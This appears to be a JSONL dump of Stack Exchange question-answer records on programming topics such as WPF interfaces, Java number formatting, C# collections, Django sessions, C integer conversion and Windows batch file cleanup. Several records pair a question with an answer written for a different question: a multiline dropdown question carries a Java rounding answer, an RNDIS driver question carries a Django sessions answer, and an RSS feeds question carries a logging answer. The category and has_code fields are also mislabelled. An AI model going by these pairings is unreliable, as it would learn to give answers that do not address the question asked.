{"id": "hf_09779452969f", "question": "<p>I'm working on moving a client/server application created with C# and WinForms into the SOA/WPF/Silverlight world. One of the big hurdles is the design of the UI. My current UI is MDI driven and users rely heavily on child windows, having many open at the same time and toggling back and forth between them. </p>\n\n<p>What might be the best way to recreate the UI functionality in an MDI-less environment? (I've no desire to create MDI functionality on my own in WPF). Tabs? A list panel that toggles different controls? </p>\n", "question_body": "", "answer": "I think the answer is really going to be up to your users -- I'd set up some prototypes with multiple paradigms and let them provide some input.  The last thing you want to do is introduce a new UI paradigm without having any end-user input.\nTabs are really popular now, but don't allow side-by-side viewing, so if that is a requirement you may want to go with more of an outlook-style setup, with multiple panels that can be activated, hidden and resized.\nOne thing that you might want to do is to code your app as a composite UI, where each view is built independently from its container (be it a child window, tab or accordion, etc.), and is just \"dropped in\" in the designer.  That will protect you from when the users change their minds about the navigation paradigm in the future.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.646425"}
{"id": "hf_41eb2a5954f2", "question": "<p>How do I format a number in Java?<br />\nWhat are the &quot;Best Practices&quot;?</p>\n<p>Will I need to round a number before I format it?</p>\n<blockquote>\n<p><code>32.302342342342343</code> =&gt; <code>32.30</code></p>\n<p><code>.7323</code> =&gt; <code>0.73</code></p>\n</blockquote>\n<p>etc.</p>\n", "question_body": "", "answer": "From\nthis thread\n, there are different ways to do this:\n```\n```\ndouble r = 5.1234;\nSystem.out.println(r); // r is 5.1234\n\nint decimalPlaces = 2;\nBigDecimal bd = new BigDecimal(r);\n\n// setScale is immutable\nbd = bd.setScale(decimalPlaces, BigDecimal.ROUND_HALF_UP);\nr = bd.doubleValue();\n\nSystem.out.println(r); // r is 5.12\n```\n```\n```\n```\nf = (float) (Math.round(n*100.0f)/100.0f);\n```\n```\n```\n```\nDecimalFormat df2 = new DecimalFormat( \"#,###,###,##0.00\" );\ndouble dd = 100.2397;\ndouble dd2dec = new Double(df2.format(dd)).doubleValue();\n\n// The value of dd2dec will be 100.24\n```\n```\nThe\nDecimalFormat()\nseems to be the most dynamic way to do it, and it is also very easy to understand when reading others code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.706907"}
{"id": "hf_a604d1725ec2", "question": "<p>One of the guys I work with needs a custom control that would work like a multiline ddl since such a thing does not exist as far as we have been able to discover</p>\n\n<p>does anyone have any ideas or have created such a thing before<br>\nwe have a couple ideas but they involve to much database usage  </p>\n\n<p>We prefer that it be FREE!!!</p>\n", "question_body": "", "answer": "From\nthis thread\n, there are different ways to do this:\n```\n```\ndouble r = 5.1234;\nSystem.out.println(r); // r is 5.1234\n\nint decimalPlaces = 2;\nBigDecimal bd = new BigDecimal(r);\n\n// setScale is immutable\nbd = bd.setScale(decimalPlaces, BigDecimal.ROUND_HALF_UP);\nr = bd.doubleValue();\n\nSystem.out.println(r); // r is 5.12\n```\n```\n```\n```\nf = (float) (Math.round(n*100.0f)/100.0f);\n```\n```\n```\n```\nDecimalFormat df2 = new DecimalFormat( \"#,###,###,##0.00\" );\ndouble dd = 100.2397;\ndouble dd2dec = new Double(df2.format(dd)).doubleValue();\n\n// The value of dd2dec will be 100.24\n```\n```\nThe\nDecimalFormat()\nseems to be the most dynamic way to do it, and it is also very easy to understand when reading others code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.730986"}
{"id": "hf_05ac6da5def4", "question": "<p>I have a two dimensional array that I need to load data into.  I know the width of the data (22 values) but I do not know the height (estimated around 4000 records, but variable).</p>\n\n<p>I have it declared as follows:  </p>\n\n<pre><code>float[,] _calibrationSet;\n    ....\nint calibrationRow = 0;\nWhile (recordsToRead)\n{\n  for (int i = 0; i &lt; SensorCount; i++)\n   {\n     _calibrationSet[calibrationRow, i] = calibrationArrayView.ReadFloat();\n   }\n   calibrationRow++;\n}\n</code></pre>\n\n<p>This causes a NullReferenceException, so when I try to initialize it like this:  </p>\n\n<pre><code>_calibrationSet = new float[,];\n</code></pre>\n\n<p>I get an \"Array creation must have array size or array initializer.\"</p>\n\n<p>Thank you,\nKeith</p>\n", "question_body": "", "answer": "You can't use an array.\nOr rather, you would need to pick a size, and if you ended up needing more then you would have to allocate a new, larger, array, copy the data from the old one into the new one, and continue on as before (until you exceed the size of the new one...)\nGenerally, you would go with one of the collection classes - ArrayList, List<>, LinkedList<>, etc. - which one depends a lot on what you're looking for; List will give you the closest thing to what i described initially, while LinkedList<> will avoid the problem of frequent re-allocations (at the cost of slower access and greater memory usage).\nExample:\n```\n```\nList<float[]> _calibrationSet = new List<float[]>();\n\n// ...\n\nwhile (recordsToRead)\n{\n    float[] record = new float[SensorCount];\n    for (int i = 0; i < SensorCount; i++)\n    {\n        record[i] = calibrationArrayView.ReadFloat();\n    }\n    _calibrationSet.Add(record);\n}\n\n// access later: _calibrationSet[record][sensor]\n```\n```\nOh, and it's worth noting (as\nGrauenwolf\ndid), that what i'm doing here doesn't give you the same memory structure as a single, multi-dimensional array would - under the hood, it's an array of references to other arrays that actually hold the data. This speeds up building the array a good deal by making reallocation cheaper, but can have an impact on access speed (and, of course, memory usage). Whether this is an issue for you depends a lot on what you'll be doing with the data after it's loaded... and whether there are two hundred records or two million records.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.754320"}
{"id": "hf_d023dae05535", "question": "<p>Is it possible at runtime to programmatically check the name of the Thread that is holding the lock of a given object?</p>\n", "question_body": "", "answer": "You can only tell whether the current thread holds a normal lock (\n```\nThread.holdsLock(Object)\n```\n). You can't get a reference to the thread that has the lock without native code.\nHowever, if you're doing anything complicated with threading, you probably want to familiarize yourself with the java.util.concurrent packages. The\n```\nReentrantLock\n```\ndoes allow you to get its owner (but its a protected method, so you'd have to extend this). Depending on your application, it may well be that by using the concurrency packages, you'll find that you don't need to get the lock's owner after all.\nThere are non-programmatic methods to find the lock owners, such as signaling the JVM to issue a thread dump to stderr, that are useful to determine the cause of deadlocks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.776808"}
{"id": "hf_51643d0c7e74", "question": "<p>I'm looking at sessions in Django, and by default they are stored in the database.  What are the benefits of filesystem and cache sessions and when should I use them?</p>\n", "question_body": "", "answer": "The filesystem backend is only worth looking at if you're not going to use a database for any other part of your system. If you are using a database then the filesystem backend has nothing to recommend it.\nThe memcache backend is much quicker than the database backend, but you run the risk of a session being purged and some of your session data being lost.\nIf you're a really, really high traffic website and code carefully so you can cope with losing a session then use memcache. If you're not using a database use the file system cache, but the default database backend is the best, safest and simplest option in almost all cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.810732"}
{"id": "hf_a921e4f63b29", "question": "<p>I'm looking at developing a device which will need to support Ethernet over USB (hosted in Linux, XP, and Vista). As I understand it, Vista and Linux support the industry standard USB CDC. However, in classic Windows style, XP only supports it's own Remote NDIS. So, now I'm thinking of just bowing down and doing it over RNDIS, as opposed to rolling my own CDC driver for XP.</p>\n\n<p>I've been reading some older documentation that says even XP is pretty buggy with NDIS (suprise!). Does anyone have experience with XP's RNDIS drivers? Are they safe for product development? Any insight would be much appreciated.</p>\n", "question_body": "", "answer": "The filesystem backend is only worth looking at if you're not going to use a database for any other part of your system. If you are using a database then the filesystem backend has nothing to recommend it.\nThe memcache backend is much quicker than the database backend, but you run the risk of a session being purged and some of your session data being lost.\nIf you're a really, really high traffic website and code carefully so you can cope with losing a session then use memcache. If you're not using a database use the file system cache, but the default database backend is the best, safest and simplest option in almost all cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.836198"}
{"id": "hf_dae5114b24b8", "question": "<p>I'm having a strange problem.</p>\n\n<p>I have to use <code>GetPostBackEventRefence</code> to force a Postback, but it works the first time, after the first postback, the .NET function is not rendered... any ideas?</p>\n\n<p>This is what I'm missing after the postback:</p>\n\n<pre><code>&lt;script language=\"javascript\" type=\"text/javascript\"&gt;\n&lt;!--\nfunction __doPostBack(eventTarget, eventArgument) {\n    var theform;\n    if (window.navigator.appName.toLowerCase().indexOf(\"microsoft\") &gt; -1) {\n        theform = document.Main;\n    }\n    else {\n        theform = document.forms[\"Main\"];\n    }\n    theform.__EVENTTARGET.value = eventTarget.split(\"$\").join(\":\");\n    theform.__EVENTARGUMENT.value = eventArgument;\n    theform.submit();\n}\n// --&gt;\n&lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "The first thing I would look at is whether you have any asp controls (such as linkbutton, comboboxes,that don't normally generate a submit but requre a postback) being displayed on the page.\nThe __doPostback function will only be put into the page if ASP thinks that one of your controls requires it.\nIf you aren't using one of those you can use:\n```\n```\nPage.ClientScript.GetPostBackClientHyperlink(controlName, \"\")\n```\n```\nto add the function to your page", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.869922"}
{"id": "hf_086a2946741b", "question": "<p>Suppose I have the following C code.</p>\n\n<pre><code>unsigned int u = 1234;\nint i = -5678;\n\nunsigned int result = u + i;\n</code></pre>\n\n<p>What implicit conversions are going on here, and is this code safe for all values of <code>u</code> and <code>i</code>? (Safe, in the sense that even though <em>result</em> in this example will overflow to some huge positive number, I could cast it back to an <em>int</em> and get the real result.)</p>\n", "question_body": "", "answer": "Short Answer\nYour\n```\ni\n```\nwill be\nconverted\nto an unsigned integer by adding\n```\nUINT_MAX + 1\n```\n, then the addition will be carried out with the unsigned values, resulting in a large\n```\nresult\n```\n(depending on the values of\n```\nu\n```\nand\n```\ni\n```\n).\nLong Answer\nAccording to the C99 Standard:\n6.3.1.8 Usual arithmetic conversions\nIf both operands have the same type, then no further conversion is needed.\nOtherwise, if both operands have signed integer types or both have unsigned integer types, the operand with the type of lesser integer conversion rank is converted to the type of the operand with greater rank.\nOtherwise, if the operand that has unsigned integer type has rank greater or equal to the rank of the type of the other operand, then the operand with signed integer type is converted to the type of the operand with unsigned integer type.\nOtherwise, if the type of the operand with signed integer type can represent all of the values of the type of the operand with unsigned integer type, then the operand with unsigned integer type is converted to the type of the operand with signed integer type.\nOtherwise, both operands are converted to the unsigned integer type corresponding to the type of the operand with signed integer type.\nIn your case, we have one unsigned int (\n```\nu\n```\n) and signed int (\n```\ni\n```\n). Referring to (3) above, since both operands have the same rank, your\n```\ni\n```\nwill need to be\nconverted\nto an unsigned integer.\n6.3.1.3 Signed and unsigned integers\nWhen a value with integer type is converted to another integer type other than _Bool, if the value can be represented by the new type, it is unchanged.\nOtherwise, if the new type is unsigned, the value is converted by repeatedly adding or subtracting one more than the maximum value that can be represented in the new type until the value is in the range of the new type.\nOtherwise, the new type is signed and the value cannot be represented in it; either the result is implementation-defined or an implementation-defined signal is raised.\nNow we need to refer to (2) above. Your\n```\ni\n```\nwill be converted to an unsigned value by adding\n```\nUINT_MAX + 1\n```\n. So the result will depend on how\n```\nUINT_MAX\n```\nis defined on your implementation. It will be large, but it will not overflow, because:\n6.2.5 (9)\nA computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo the number that is one greater than the largest value that can be represented by the resulting type.\nBonus: Arithmetic Conversion Semi-WTF\n```\n```\n#include <stdio.h>\n\nint main(void)\n{\n  unsigned int plus_one = 1;\n  int minus_one = -1;\n\n  if(plus_one < minus_one)\n    printf(\"1 < -1\");\n  else\n    printf(\"boring\");\n\n  return 0;\n}\n```\n```\nYou can use this link to try this online:\nhttps://repl.it/repls/QuickWhimsicalBytes\nBonus: Arithmetic Conversion Side Effect\nArithmetic conversion rules can be used to get the value of\n```\nUINT_MAX\n```\nby initializing an unsigned value to\n```\n-1\n```\n, ie:\n```\n```\nunsigned int umax = -1; // umax set to UINT_MAX\n```\n```\nThis is guaranteed to be portable regardless of the signed number representation of the system because of the conversion rules described above. See this SO question for more information:\nIs it safe to use -1 to set all bits to true?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.903388"}
{"id": "hf_2ade45cceb99", "question": "<p>If I have 2 query sources how do I find ones that are in one that are not in the other?</p>\n\n<p>example of join to find items in both:</p>\n\n<pre><code>var results = from item1 in qs1.Items\n   join item2 in qs2 on item1.field1 equals item2.field2\n   select item1;\n</code></pre>\n\n<p>So what would the linq code be to return the items in qs1 that are not in qs2?</p>\n", "question_body": "", "answer": "From\nMarco Russo\n```\n```\nNorthwindDataContext dc = new NorthwindDataContext();\ndc.Log = Console.Out;\nvar query =\n    from c in dc.Customers\n    where !(from o in dc.Orders\n            select o.CustomerID)\n           .Contains(c.CustomerID)\n    select c;\nforeach (var c in query) Console.WriteLine( c );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.964310"}
{"id": "hf_fc1983b07776", "question": "<p>I was browsing <a href=\"https://stackoverflow.com/questions/5119/what-are-the-best-rss-feeds-for-programmersdevelopers\">this thread</a>, which has good recommendation but a bit too general for me.</p>\n\n<p>So, if anyone has a collection of nice game programming feeds,please share them. :)</p>\n\n<p>(both general and specific topics are welcome)</p>\n", "question_body": "", "answer": "If you are catpuring logging information for future searching and anaylsis perhaps a database would be a better answer.\nAs for your solution.  Flat files do not scale well at all where as a database scale much better.  I wouldn't split the files either, that just compounds the scalability issue.  If you have to use a flat file I would probably try keeping the meta data in a csv (less over head) and the data in a series of files indexed by the csv file.  That way all the data doesn't impact your index file.  Just my thoughts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.000879"}
{"id": "hf_c38eda345f75", "question": "<p>How does unix handle full path name with space and arguments ?<br>\nIn windows we quote the path and add the command-line arguments after, how is it in unix?</p>\n\n<pre><code> \"c:\\foo folder with space\\foo.exe\" -help\n</code></pre>\n\n<p><strong>update:</strong></p>\n\n<p>I meant how do I recognize a path from the command line arguments.</p>\n", "question_body": "", "answer": "You can quote if you like, or you can escape the spaces with a preceding \\, but most UNIX paths (Mac OS X aside) don't have spaces in them.\n```\n```\n/Applications/Image\\ Capture.app/Contents/MacOS/Image\\ Capture\n\n\"/Applications/Image Capture.app/Contents/MacOS/Image Capture\"\n\n/Applications/\"Image Capture.app\"/Contents/MacOS/\"Image Capture\"\n```\n```\nAll refer to the same executable under Mac OS X.\nI'm not sure what you mean about recognizing a path - if any of the above paths are passed as a parameter to a program the shell will put the entire string in one variable - you don't have to parse multiple arguments to get the entire path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.128509"}
{"id": "hf_a0642c707e95", "question": "<p>My drupal site (internal) will not display the TinyMCE editor when using Google Chrome browser. Has anyone gotten TinyMCE to work with Chrome in Drupal 5?</p>\n", "question_body": "", "answer": "There are a number of known incompatibilities between TinyMCE and WebKit (the rendering engine used by Chrome).  If you're using TinyMCE 2.x, you might want to try the\nSafari plug-in to TinyMCE\n; Safari also uses WebKit.  I gather also that\nTinyMCE 3.x has better support for Safari/WebKit\nthan TinyMCE 2.x, so you might want to try upgrading to the latest 3.x version.\nHTH\nAlastair", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.153897"}
{"id": "hf_0642ef2fad55", "question": "<p>How would you find the fractional part of a floating point number in PHP?</p>\n<p>For example, if I have the value <code>1.25</code>, I want to return <code>0.25</code>.</p>\n", "question_body": "", "answer": "```\n```\n$x = $x - floor($x)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.177567"}
{"id": "hf_644a5b95e0a9", "question": "<p>Do any editors honer C #line directives with regards to goto line features?</p>\n\n<p><em>Context:</em>\nI'm working on a code generator and need to jump to a line of the output but the line is specified relative to the the #line directives I'm adding.\nI can drop them but then finding the input line is even a worse pain</p>\n", "question_body": "", "answer": "```\n#line\n```\ndirectives are normally inserted by the precompiler, not into source code, so editors won't usually honor that if the file extension is\n```\n.c\n```\n.\nHowever, the normal file extension for post-compiled files is\n```\n.i\n```\nor\n```\n.gch\n```\n, so you might try using that and see what happens.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.216089"}
{"id": "hf_afe3e2227bfd", "question": "<p>Any ideas what the average user's download speed is? I'm working on a site that streams video and am trying to figure out what an average download speed as to determine quality.</p>\n\n<p>I know i might be comparing apples with oranges but I'm just looking for something to get a basis for where to start.</p>\n", "question_body": "", "answer": "You could try looking at the lower tier offerings from AT&T and Comcast.  Probably 1.5 Mbps for the basic level (which I imagine most people get).\nThe \"test your bandwidth\" sites may have some stats on this, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.363516"}
{"id": "hf_e91f064c56ec", "question": "<p>I have a scenario wherein, for example, I need to repeat a list of US states and display a table of cities and city populations after the name of each state. The design requirement dictates that every outer repetition must be the name of a state followed by a table of cities, and that requirement cannot be changed at this time. Are there disadvantages to nesting a GridView within a Repeater and then binding each repeated GridView during the Repeater's <code>ItemDataBound</code> event? What are some alternative solutions?</p>\n", "question_body": "", "answer": "If it were me, I'd reverse the question and ask why\nI should\nuse a GridView,  If you need a bunch of built-in features like paging and sorting, then the GridView might be a good fit.  If you just want tabular data, I'd reconsider.  Why?  Because with GridView you're getting a whole bunch of stuff you won't use, your ViewState will be potentially huge, and your page performance will be slower.\nI'm not a bigot when it comes to GridView, but I only use them when there is a damn good reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.387893"}
{"id": "hf_8b28ef630c7e", "question": "<p>So I have about 10 short css files that I use with mvc app.\nThere are like\nerror.css\nlogin.css\netc...\nJust some really short css files that make updating and editing easy (At least for me). What I want is something that will optimize the if else branch and not incorporate it within the final bits. I want to do something like this</p>\n\n<pre><code>if(Debug.Mode){\n\n&lt;link rel=\"stylesheet\" type=\"text/css\" href=\"error.css\" /&gt; \n&lt;link rel=\"stylesheet\" type=\"text/css\" href=\"login.css\" /&gt; \n&lt;link rel=\"stylesheet\" type=\"text/css\" href=\"menu.css\" /&gt; \n&lt;link rel=\"stylesheet\" type=\"text/css\" href=\"page.css\" /&gt; \n} else {\n&lt;link rel=\"stylesheet\" type=\"text/css\" href=\"site.css\" /&gt; \n}\n</code></pre>\n\n<p>I'll have a msbuild task that will combine all the css files, minimize them and all that good stuff. I just need to know if there is a way to remove the if else branch in the final bits.</p>\n", "question_body": "", "answer": "I should had used google.\n```\n```\n#if DEBUG\n    Console.WriteLine(\"Debug mode.\") \n#else \n    Console.WriteLine(\"Release mode.\") \n#endif\n```\n```\nMake sure that the option \"Configuration settings\" -> \"Build\" \"Define DEBUG \nconstant\" in the project properties is checked.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.411734"}
{"id": "hf_c6ae7cf3889f", "question": "<p>I'm using <a href=\"http://www.helicontech.com/isapi_rewrite/\" rel=\"nofollow noreferrer\">Helicon's ISAPI Rewrite 3</a>, which basically enables .htaccess in IIS.  I need to redirect a non-www URL to the www version, i.e. example.com should redirect to www.example.com.  I used the following rule from the examples but it affects subdomains:</p>\n\n<pre><code>RewriteCond %{HTTPS} (on)?\nRewriteCond %{HTTP:Host} ^(?!www\\.)(.+)$ [NC]\nRewriteCond %{REQUEST_URI} (.+)\nRewriteRule .? http(?%1s)://www.%2%3 [R=301,L]\n</code></pre>\n\n<p>This works for most part, but is also redirect sub.example.com to www.sub.example.com.  How can I rewrite the above rule so that subdomains do not get redirected?</p>\n", "question_body": "", "answer": "Can't you adjust the RewriteCond to only operate on example.com?\n```\n```\nRewriteCond %{HTTP:Host} ^example\\.com(.*) [NC]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.447883"}
{"id": "hf_b3fbe66f7265", "question": "<p>One of the things I miss the most in ActionScript is the lack of operator overloading, in particular ==. I kind of work around this issue by adding a \"Compare\" method to my classes, but that doesn't help in many cases, like when you want to use things like the built in Dictionary.</p>\n\n<p>Is there a good way to work around this problem?</p>\n", "question_body": "", "answer": "Nope.\nBut it doesn't hurt to add\n```\nequals\n```\nmethods to your own classes. I try to never use\n```\n==\n```\nwhen comparing objects (the same goes for\n```\n===\n```\n, which is the same thing for objects) since it only checks\nidentity\n.\nSadly all the collections in Flash and Flex assume that identity is the only measure of equality that is needed.\nThere are hints in Flex that someone wanted to alleviate this problem at one time, but it seems like it was abandoned: there is an interface called\nIUID\n, and it is mentioned in the\nFlex Developer's Guide\n, but it is not used anywhere. Not even the collections in Flex use it to determine equality. And since you are asking for a solution for Flash, it may not have helped you anyway.\nI've written some more about this (in the context of Flex) on my blog:\nIs there no equality?\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.546316"}
{"id": "hf_0475b5cbedc0", "question": "<p>I have some HTML that is generated via a Rich Text Editor outside of my Flex application but would like to display it inside Flex. </p>\n\n<p>The HTML is simple HTML tags, things like styles, anchors, and possibly image tags, is there a control that would let me render this HTML in flex or am I going to have to roll up my sleeves and roll my own?</p>\n\n<p>Any ideas appreciated...Thanks.</p>\n", "question_body": "", "answer": "If the HTML is\nreally\nsimple, you can display it in a normal label or textarea component, If it is more complex, I'll quote what I answered\nin this question\n. The discussion there also has a little more info.\nIf it is complex HTML and Javascript, one possible way is\nHTMLComponent\n, a method that uses an iframe over your flash to make it appear like the HTML is in your app. There are a few downsides to this method however - most of them described in detail\nat Deitte.com\n.\nIf this can move offline, you could use Air (it has an mx:HTML component built in).\nDeitte.com\nhas a detail of this technique as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.600035"}
{"id": "hf_b8b1e0016d51", "question": "<p>What does it mean when a <a href=\"http://en.wikipedia.org/wiki/PostgreSQL\" rel=\"noreferrer\">PostgreSQL</a> process is \"idle in transaction\"?</p>\n\n<p>On a server that I'm looking at, the output of \"ps ax | grep postgres\" I see 9 PostgreSQL processes that look like the following:</p>\n\n<pre><code>postgres: user db 127.0.0.1(55658) idle in transaction\n</code></pre>\n\n<p>Does this mean that some of the processes are hung, waiting for a transaction to be committed?  Any pointers to relevant documentation are appreciated.</p>\n", "question_body": "", "answer": "The\nPostgreSQL manual\nindicates that this means the transaction is open (inside BEGIN) and idle.  It's most likely a user connected using the monitor who is thinking or typing.  I have plenty of those on my system, too.\nIf you're using Slony for replication, however, the\nSlony-I FAQ\nsuggests\n```\nidle in transaction\n```\nmay mean that the network connection was terminated abruptly.  Check out the discussion in that FAQ for more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.636205"}
{"id": "hf_14f431b30526", "question": "<p>Ruby has two different exceptions mechanisms: Throw/Catch and Raise/Rescue.</p>\n\n<p>Why do we have two?</p>\n\n<p>When should you use one and not the other?  </p>\n", "question_body": "", "answer": "I think\nhttp://hasno.info/ruby-gotchas-and-caveats\nhas a decent explanation of the difference:\ncatch/throw are not the same as raise/rescue. catch/throw allows you to quickly exit blocks back to a point where a catch is defined for a specific symbol, raise rescue is the real exception handling stuff involving the Exception object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.665657"}
{"id": "hf_10bfa441d3f3", "question": "<p>I am looking for a way to delete all files older than 7 days in a batch file.  I've searched around the web, and found some examples with hundreds of lines of code, and others that required installing extra command line utilities to accomplish the task.</p>\n\n<p>Similar things can be <a href=\"https://stackoverflow.com/questions/25785/delete-all-but-the-most-recent-x-files-in-bash\">done in BASH</a> in just a couple lines of code. It seems that something at least remotely easy could be done for batch files in Windows. I'm looking for a solution that works in a standard Windows command prompt, without any extra utilities. Please no PowerShell or Cygwin either.</p>\n", "question_body": "", "answer": "Enjoy:\n```\n```\nforfiles -p \"C:\\what\\ever\" -s -m *.* -d <number of days> -c \"cmd /c del @path\"\n```\n```\nSee\n```\nforfiles\n```\ndocumentation\nfor more details.\nFor more goodies, refer to\nAn A-Z Index of the Windows XP command line\n.\nIf you don't have\n```\nforfiles\n```\ninstalled on your machine, copy it from any\nWindows Server 2003\nto your Windows XP machine at\n```\n%WinDir%\\system32\\\n```\n. This is possible since the EXE is fully compatible between Windows Server 2003 and Windows XP.\nLater versions of Windows and Windows Server have it installed by default.\nFor Windows 7 and newer (including Windows 10):\nThe syntax has changed a little. Therefore the updated command is:\n```\n```\nforfiles /p \"C:\\what\\ever\" /s /m *.* /D -<number of days> /C \"cmd /c del @path\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.751399"}
{"id": "hf_da913ab1f1e1", "question": "<p>See here <a href=\"http://www.hanselman.com/blog/InSearchOfThePerfectMonospacedProgrammersFontInconsolata.aspx\" rel=\"nofollow noreferrer\">http://www.hanselman.com/blog/InSearchOfThePerfectMonospacedProgrammersFontInconsolata.aspx</a> - for want of a better description - the statement block highlighting - eg in the pics on the link the \"statement blocks\" are grouped with a vertical line. I understand this is a feature of CodeRush - does R# have either anything similar, or a plugin to do the same?</p>\n", "question_body": "", "answer": "R# has a feature called Highlight current line, which you have to enable in the ReSharper options.  This looks like crap on dark background, high contrast themes, so if you use one I'd suggest going into the Visual Studio options, under Fonts & Colors and going to \"ReSharper - current Line\" and making the background color a darker shade that doesn't have as much contrast with the background.\nR# also has matching brace highlighting, which is color-configurable as well under the same VS option dialog.\nDoes that answer you question?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.775690"}
